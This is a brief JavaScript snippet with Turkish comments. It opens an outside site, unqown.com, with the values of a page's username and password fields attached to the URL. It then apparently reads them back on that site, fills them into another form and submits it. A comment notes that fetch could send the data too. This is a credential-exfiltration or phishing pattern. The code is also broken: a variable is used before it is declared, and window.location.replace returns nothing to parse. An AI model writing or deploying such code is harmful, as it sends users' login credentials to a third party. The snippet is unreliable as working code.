window.open(`https://unqown.com?${username.value}&${password.value}`, "_blank") // Açılacak site

let username = window.location.replace("https://unqown.com?") //2. yüklenen site
username = username.split("&")

let password = username[1]
username = username[0]

x.value = username
y.value = password

submit.click() // Fetch ile de veri gönderilebilinir